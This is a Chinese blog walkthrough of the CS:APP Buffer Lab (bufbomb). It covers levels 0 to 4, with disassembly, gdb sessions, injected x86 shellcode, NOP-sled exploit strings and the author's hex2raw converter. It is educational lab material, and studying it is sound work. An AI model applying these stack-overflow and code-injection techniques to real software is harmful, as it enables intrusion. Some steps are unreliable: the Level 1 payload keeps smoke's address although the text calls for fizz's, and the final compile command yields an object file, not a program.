bufbomb实验心得及详细步骤

原创

YiyangJump 于 2015-04-10 11:05:44 发布 19705 收藏 29
分类专栏： 计算机组成原理和体系结构 文章标签： buffer 缓存溢出攻击 csapp 深入理解计算机 实验

bufbomb实验心得及详细步骤

bufbomb实验心得及详细步骤

——写给跨考计算机并尝试做csapplabs的同学

bufbomb是一个很有意思的，带有游戏性质的缓冲区溢出实验，能够帮助你加深理解《Computer Systems A Programmer's Perspective》书中第三章《Machine-Level Representation of Programs》中的内容。

点 **Self-Study Handout**下载。

或者，到下载地址：**http://csapp.cs.cmu.edu/public/labs.html** 找到**Buffer Lab [Updated Sep 10, 2014]**

(README, Writeup, Release Notes, Self-Study Handout)，点 **Self-Study Handout**下载。

解压命令**tar -xvf buflab-handout.tar**，解压后阅读**buflab.pdf**了解实验内容。

这个版本的排版有点问题，最近用markdown重新排版，但是必须重新发布，
因此请移步bufbomb实验心得及详细步骤查看重新排版的版本

1、实验大致意思如下

运行./bufbomb 会让你输入一些字符串，这些字符串将存储在一个临时变量字符数组中。这个字符数组没有进行边界检测，所以你可以输入任意长的字符串，直至覆盖这个数组边界之外的内存位置，根据我们输入的字符串的内容我们可以让程序做一些我们希望它作的事情，比如修改函数返回地址，让程序跳转到我们给它安排的位置去执行我们所写的代码。当然了，这里的代码不可能用C之类的高级语言写了，在执行过程中程序实际执行的是机器码，我们可以写一些汇编代码，然后转化为机器码，把这些机器码再转换成ASCII码字符串，当程序提示我们输入的时候，我们再将这些准备好的字符串输入给程序。这就等于我们把自己写的代码写入了程序，让它按我们的意愿执行。

这里要用到几个工具，objdump, gcc和gdb还有实验提供的一个将16进制数转化为ASCII码的工具hex2raw, 不知为什么我下了几个版本linux都无法执行hex2raw，无奈之下自己写了个简单版本的hex2raw,只能用文件输入输出，勉强代替原hex2raw的重定向功能，管道功能我就不管了。顺带一提，这个实验须用32位版本的linux才能运行，下载linux发行版时要注意是不是32位系统，反正我安装的64位ubuntu连./bufbomb都运行不了。

你在执行./bufbomb时要输入一个id，id是你任意指定的，每个id解法有所不同，我用的id是yy。bufbomb这个游戏有几个级别，每完成一级任务游戏就会升级，升级是对应一个id的，你想重玩一遍可以用另外一个id开始。

2、前期准备：

实验平台：Ubuntu 12.04 32bit

我们没有bufbomb的源代码，不知道程序里边的结构，只能利用反汇编工具objdump(苹果系统下没有objdump，可以用otool).指令如下：
$objdump -t bufbomb > buf_table （输出bufbomb的符号表到文本文件buf_table)
$objdump -d bufbomb > buf_asm （输出bufbomb的汇编代码到buf_asm)
我编写的hex2raw源代码本文末尾附录，这个百度空间也是我的
http://hi.baidu.com/sorry1_11/item/ed8acd3e518608f1a88428ea
这个地址也有我的hex2raw源代码：http://hi.baidu.com/sorry1_11/item/3381059ad4bf12bacd80e5f1

3、详细步骤

Level 0

bufbomb.pdf 告诉你它会在test()函数中调用getbuf()函数获取你的字符串，如果getbuf()函数执行完后返回到test()你就输了，你要做的是让getbuf()返回（跳转）到smoke()函数的开始处，让程序执行smoke()
在buf_asm的getbuf()代码段中我们看到

```
8048c0a: 8d 45 d8       lea    -0x28(%ebp),%eax
8048c0d: 89 04 24       mov    %eax,(%esp)
8048c10: e8 35 ff ff ff call   8048b4a <Gets>
```

可知，我们输入的字符串的首地址-0x28(%ebp)，它会传给%eax，然后作为Gets的参数，Gets负责把我们输入的字符串放在-0x28(%ebp)开始的内存块里。熟悉函数调用栈结构的你应该知道，函数的返回地址在ebp的上边一个存储单元，从buf_asm可以看出，这个程序的虚拟地址空间是32位，即4个字节，故返回地址在+0x4(%ebp)这个位置，我们要在这个位置写入smoke()的开始地址，查找我们事先存在buf_table的符号表，得到smoke()对应的地址是0x080490ba，0x4-(-0x28)=0x2c=40。因此我们输入的字符串要长40+4=44字节，前面的40个字节的字符帮助我们一路覆盖到返回地址之前，可以随便写，后边4个字节为我们指定的返回地址，即ba 90 04 08（0x080490ba的小端模式排列，即低位字节在前，高位字节在后），当程序执行完getbuf()后会跳转到这个地址去执行smoke()。

因此我们可以输入
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 ba 90 04 08

我们可以在文件in0里写入上述十六进制数字，使用命令
$./hex2raw in0 out0（如果你从网站上下载下来的hex2raw可以执行，就用bufbomb.psf里提到的格式输入指令）将这些十六进制数字转换成ASCII码并保存到文件out0中
hex2raw会自动忽略文件里的空格和换行，不必担心排列问题。有些ASCII码不可打印，所以如果你cat out0可能看不到几个字符。
接着，我们运行bufbomb输入我们的字符，在终端输入指令
$./bufbomb < out0 -u yy
提示告诉我们
Userid: yy
Cookie: 0x2a50279f
Type string:Smoke!: You called smoke()
VAILD
NICE JOB!
通过了！

Level 1

该级别的任务要求我们使bufbomb程序调用函数fizz().
查找符号表的fizz()入口地址为0804906f. 我们可以用6f 90 04 08替换level0中输入的最后4个字节，实现跳转。但是，fizz()需要一个参数，当这个参数等于你的id对应的cookie时游戏才能顺利升级。使用指令
$./makecookie yy
得到我的id,yy,对应的cookie为0x2a50279f。因此我们要将2a50279f写入fizz的参数所在的内存位置。
查看fizz的汇编代码有下列指令：

```
804906f: 55                    push   %ebp
8049070: 89 e5                 mov    %esp,%ebp
8049072: 83 ec 18              sub    $0x18,%esp
8049075: 8b 45 08              mov    0x8(%ebp),%eax
8049078: 3b 05 e4 c1 04 08     cmp    0x804c1e4,%eax
804907e: 75 1e                 jne    804909e <fizz+0x2f>
8049080: 89 44 24 04           mov    %eax,0x4(%esp)
```

有条比较指令 cmp 0x804c1e4,%eax，比较寄存器eax和内存地址0x804c1e4的内容，查找符号表得知0x804c1e4存放的就是cookie,很明显我们的任务就是要使%eax里的内容等于0x2a50279f，由指令mov 0x8(%ebp),%eax可知fizz()的参数位置在0x8(%ebp)，它把参数给%eax，再与cookie比较。fizz()的操作将会在getbuf()结束后执行，在查看bud_asm, getbuf()结尾有代码

leave （等价于 mov %ebp,%esp; pop %ebp）
ret (等价于 pop PC)

可知栈顶指针寄存器%esp和帧指针寄存器%ebp已经回到bufbomb程序在调用getbuf()前的状态了。
由fizz的mov %esp,%ebp可知此时的%ebp是上一个栈test()栈的栈顶，
由于我们不是call fizz，而是直接jmp到fizz,因而程序没有自动push返回地址入栈，%esp也没有自动-4，因此上一个栈的栈顶%esp应该在上一题返回地址所在位置的上边一个存储单元。也就是说，fizz()中的%ebp的位置是上一题的0x4(%ebp)+4 = 0x8(%ebp)，我们只要比上一题再多写8个字节就可以覆盖到fizz的参数存放位置了。后4个字节为我们的cookie——9f 27 50 2a(注意是0x2a50279f的小端模式)，要输入的十六进制数字如下：

```
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 ba 90 04 08 00 00
00 00 9f 27 50 2a
```

把他们写入文本文件in1,输入命令
$./hex2raw in1 out1
$./bufbomb < out1 -u yy
终端提示:
Userid: yy
Cookie: 0x2a50279f
Type string:Fizz!: You called fizz(0x2a50279f)
VAILD
NICE JOB!
升到level2了！

Level 2

该级的任务是要使程序跳转到bang(),bang的入口地址为0x08049022。在bang()中要比较全局变量global_value和cookie,只有当这个全局变量等于我们的cookie我们才能升级。因此我们的任务除了修改返回地址还要修改这个全局变量。

在符号表中查找global_value，得知它的存储地址为0x0804c1ec,并且我们有符号表得知它属于.bss段，属于未初始化的全局变量，在数据段中，基本处在该程序虚拟地址空间的底部，地址要远远小于我们能够通过输入字符串覆盖到的栈的区域，只能通过写入代码来修改。
在level0中，我们写入字符串的起始地址是-0x28(%ebp)，距离返回地址所在位置+0x4(%ebp)还有一段距离，我们可以把代码写在这个区间里。由代码来实现对global_value的修改和到bang()的跳转，然后再把返回地址改为我们写的代码的起始地址就行了。程序从getbuf返回后将跳到我们的代码，然后一句一句地执行我们的指令。
可是我们只知道字符串存放的相对位置-0x28(%ebp)，总不能把它写入返回地址里吧，而且在返回前我们什么也做不了，不能进行所需计算，只能通过gdb调试来得到字符存放的绝对地址了。注意getbuf有如下代码

```
8048c0a: 8d 45 d8          lea    -0x28(%ebp),%eax
8048c0d: 89 04 24          mov    %eax,(%esp)
8048c10: e8 35 ff ff ff    call   8048b4a <Gets>
```

可知0x8048c0d:中的%eax就存着字符串的首地址，也就是我们写入的代码的首地址。
打开gdb,在终端输入

```
$gdb bufbomb
(gdb) b *0x8048c0d          (在地址0x8048c0d设置断点)
(gdb) r xxxxxxx -u yy       (随便输入点字符让程序运行到断点位置)
(gdb) p /x $eax             (以十六进制数字形式打印%eax中的内容)
```

我们得知 %eax = 0x55683ad8, 我们将以此作为getbuf()的返回地址（注意小端模式为d8 3a 68 55）。
下面用vi写我们的代码，文件名取.s结尾，我取作callbang.s，
终端输入vi callbang.s进入vi, 输入代码为：

```
mov 0x804c1e4, %eax     //把cookie赋给%eax
mov %eax, 0x804c1ec     //把%eax中的cookie赋给global_value
push $0x8049022         //bang()地址入栈
ret                     //返回，跳到bang()
```

ret等效于pop PC,会让栈顶里的内容出栈，弹到程序计数器PC里，作为下一条要执行的指令。不要尝试使用call或者jmp $0x8049022，他俩事实上使用的是PC相对寻址，比较不容易设置正确。当然你也可以把0x8049022写到某个寄存器里，然后利用寄存器寻址跳到bang()。
在vi中输入:wq保存退出，回到终端。
有了代码，我们把它编译成目标文件，再用objdump -d 反汇编回来就能得到相应的机器码了。

```
$gcc -m32 -c callbang.s
$objdump -d callbang.o > callbang_asm
```

打开callbang_asm看到

```
callbang.o:     file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
  0: a1 e4 c1 04 08      mov    0x804c1e4,%eax
  5: a3 ec c1 04 08      mov    %eax,0x804c1ec
  a: 68 22 90 04 08      push   $0x8049022
  f: c3                  ret
```

得到机器码为 a1 e4 c1 04 08 a3 ec c1 04 08 68 22 90 04 08 c3
你不用管每条指令的机器码有多长，cpu会自己识别的，我们只需把这些机器码紧密地写在一起就行了。因此我们需要给hex2raw转换的十六进制数字为

```
a1 e4 c1 04 08 a3 ec c1 04 08
68 22 90 04 08 c3 00 00 00 00
```

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 d8 3a 68 55

将它们写入文本文件in2
$./hex2raw in2 out2
$./bufbomb < out2 -u yy

bufbomb输出
Userid: yy
Cookie: 0x2a50279f
Type string:Bang!: You set global_value to 0x2a50279f
VALID
NICE JOB!
好的，又升级了！

Level 3

这一级的任务是使getbuf()结束后返回到test(),并将你的cookie作为getbuf()的返回值传给test()。同时恢复各个寄存器的状态，使test()察觉不到我们干了什么，就好像我们什么都没做一样。
首先我们要知道要恢复哪个寄存器，每一级我们都要从-0x28(%ebp)这个位置一路覆盖到返回地址+0x4(%ebp)，显然0x0(%ebp)这个位置也被我们的字符串覆盖了。我们知道，%ebp是callee栈的基址，也就是当前函数的帧指针；(%ebp)是这个基址位置里的内容，也是一个指针，指向caller栈的基址，即调用者的帧指针，在这里是test()的帧指针。当getbuf()返回时试图把(%ebp)恢复到%ebp，但(%ebp)里是我们输入的字符串，我们需要把test()的%ebp里的值找出来，再利用我们写入的指令把它重新赋给%ebp. 要找到原%ebp的值，这需要使用gdb,在test()的代码处设置断点，

$gdb bufbomb
(gdb) b *0x8048c8b (0x8048c8b是test()中call getbuf下一句的地址)
Breakpoint 1 at 0x8048c8b
(gdb) r xxxx -u yy
Starting program: /media/psf/Home/Documents/csapplabs/3-buflab/bufbomb xxxx -u yy
Userid: yy
Cookie: 0x2a50279f
Breakpoint 1, 0x08048c8b in test ()
(gdb) p /x $ebp
$1 = 0x55683b30

由此我们知道了test()中的ebp了.
接着，在buf_asm中查看test的汇编代码，有
 8048c8e: e8 71 ff ff ff   call   8048c04 <getbuf>
 8048c93: 89 c3   mov   %eax,%ebx

得知getbuf()正确的返回地址为0x8048c93,我们还是用level2中push-ret的方法跳回test.可以着手写代码了。
mov $0x2a50279f,%eax   //把我们的cookie值赋给%eax
mov $0x55683b30,%ebp   //恢复test()的%ebp
push $0x8048c93   //推立即数0x8048c93入栈
ret
保存为rettest.s

$gcc -m32 -c rettest.s
$objdump -d rettest.o > rettest_asm

查看rettest_asm得到我们的机器码

```
rettest.o:     file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
   0: b8 9f 27 50 2a        mov    $0x2a50279f,%eax
   5: bd 30 3b 68 55        mov    $0x55683b30,%ebp
   a: 68 93 8c 04 08        push   $0x8048c93
   f: c3                    ret
```

把这些十六进制机器码写入文件in3

```
b8 9f 27 50 2a bd 30 3b 68 55
68 93 8c 04 08 c3 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 d8 3a 68 55
```

剩下的步骤照旧

```
$./hex2raw in3 out3
$./bufbomb < out3 -u yy
```

结果如下：

```
Userid: yy
Cookie: 0x2a50279f
Type string:Boom!: getbuf returned 0x2a50279f
VALID
NICE JOB!
```

Level 4

本级要使用./bufbomb的-n参数，bufbomb不会再像从前哪样调用test()，而是调用testn()，testn()又调用getbufn().本级的任务是使getn返回cookie给testn()。听上去似乎与上一级没什么不同，但实际上该级的栈地址是动态的，每次都不一样，bufbomb会连续要我们输入5次字符串，每次都调用getbufn(),每次的栈地址都不一样，我么将不能再使用原来用gdb调试的方法来求%ebp的地址了。

bufbomb在5次调用testn()和getbufn()的过程中，两个函数的栈是连续的，在testn()汇编代码开头有

```
 8048c1c: 55                push   %ebp
 8048c1d: 89 e5             mov    %esp,%ebp
 8048c1f: 83 ec 28          sub    $0x28,%esp
```

可知%esp=%ebp-0x28,即

%ebp=%esp+0x28

其中，getbufn执行ret前的leave指令已经正确地恢复%esp(leave等价于 mov %ebp,%esp; pop %ebp，我们的字符串无法覆盖%ebp,%esp寄存器，%esp是从寄存器%ebp里来的，因此是正确的)。

可以开始写代码~\(≧▽≦)/~啦啦啦，vi rettestn.s

```
mov $0x2a50279f, %eax          //将cookie写入%eax,作为getbufn返回值
lea 0x28(%esp), %ebp           //%ebp=%esp+0x28,恢复%ebp
push $0x8048c2e
ret                            //最后两句返回到testn中call getbufn下一句
```

保存后，进行编译，再反汇编

```
gcc -m32 -c rettestn.s
objdump -d rettestn.o > rettestn_asm
```

打开rettestn_asm有

```
00000000 <.text>:
  0: b8 9f 27 50 2a       mov    $0x2a50279f,%eax
  5: 8d 6c 24 28          lea    0x28(%esp),%ebp
  9: 68 2e 8c 04 08       push   $0x8048c2e
  e: c3                   ret
```

可是我们还不知道返回地址应该用什么来填充。字符串首地址是变化的，虽然可以通过%esp间接求出，但在程序跳转到我们的代码之前，我们无法得知%esp的值究竟是多少（原来可以用gdb调试出来，但现在不行了）。幸好getbufn给的栈空间很大，我们可以利用nop slide技术，先让程序返回到一个我们大致猜测的地址，在这个地址及其附近的一大片区域里我们用nop指令(机器码为0x90)填充，CPU执行nop指令时除了程序计数器PC自加，别的什么也不做。把我们的代码放在这片区域的高位地址处，程序一路执行nop,就像滑行一样，一路滑到我们的代码才真正开始执行。我们可以利用gdb调试找到这个字符串开始的大致区域。

查看getbufn()汇编代码,有

```
8048bef: 8d 85 f8 fd ff ff    lea    -0x208(%ebp),%eax
```

得知写入字符串的首地址为-0x208(%ebp)，而返回地址位于0x4(%ebp)，因此我们需填充0x4-（-0x208）= 0x20c = 524个字节的字符，再写4个字节覆盖getbufn()的返回地址。

```
gdb bufbomb
(gdb) b *0x8048bf5
(gdb) r xxx -n -u yy
(gdb) p /x $ebp-0x208
$1 = 0x556838f8
(gdb) c
(gdb) p /x $ebp-0x208
$2 = 0x556838c8
(gdb) c
(gdb) p /x $ebp-0x208
$3 = 0x55683958
(gdb) c
(gdb) p /x $ebp-0x208
$3 = 0x55683958
(gdb) c
(gdb) p /x $ebp-0x208
$3 = 0x556838a8
```

返回地址只要大于0x55683958即可，就取0x55683980(80 39 68 55)吧。

因此我们要输入的16进制数字为

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 b8
9f 27 50 2a 8d 6c 24 28 68 2e
8c 04 08 c3 80 39 68 55
```

```
$ ./hex2raw -n in4 out4
$ ./bufbomb < out4 -n -u yy
Userid: yy
Cookie: 0x2a50279f
Type string:KABOOM!: getbufn returned 0x2a50279f
Keep going
Type string:KABOOM!: getbufn returned 0x2a50279f
Keep going
Type string:KABOOM!: getbufn returned 0x2a50279f
Keep going
Type string:KABOOM!: getbufn returned 0x2a50279f
Keep going
Type string:KABOOM!: getbufn returned 0x2a50279f
VALID
NICE JOB!
```

打完收工~

附录我的hex2raw源代码

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main( int argc,  const char * argv[])
{
    FILE *infile, *outfile;
    int h, i;
    //printf("%s, %s\n", argv[1], argv[2]);
    if ( strcmp (argv[1],  "-n" ))
    {
        if (!(infile =  fopen (argv[1],  "r" )) || !(outfile =  fopen (argv[2],  "w+" ))){
            printf ( "打开文件错误!\n" );
            return 1;
        }
        while ( fscanf (infile,  "%x" , &h) != EOF)
            fprintf (outfile,  "%c" , h);
    }
    else {
        if (!(infile =  fopen (argv[2],  "r" )) || !(outfile =  fopen (argv[3],  "w+" ))){
            printf ( "打开文件错误!\n" );
            return 1;
        }
        for (i = 0; i < 5; i ++){
            while ( fscanf (infile,  "%x" , &h) != EOF)
                fprintf (outfile,  "%c" , h);
            fprintf (outfile,  "%c" ,  '\n' );
            rewind (infile);      //文件内部指针重新指向输入流开头
        }
    }
    fclose (infile);
    fclose (outfile);
    return 0;
}
```

使用方法：

./hex2raw 输入文件名 输出文件名

./hex2raw -n 输入文件名 输出文件名

只支持以上两种格式

用于csapplab的bufbomb, 官网上下载的hex2raw死活用不了，出现同样问题的同学可以拿它自己编译试试

可以保存为main.c, 在终端使用这条指令编译 gcc -g -c main.c -o hex2raw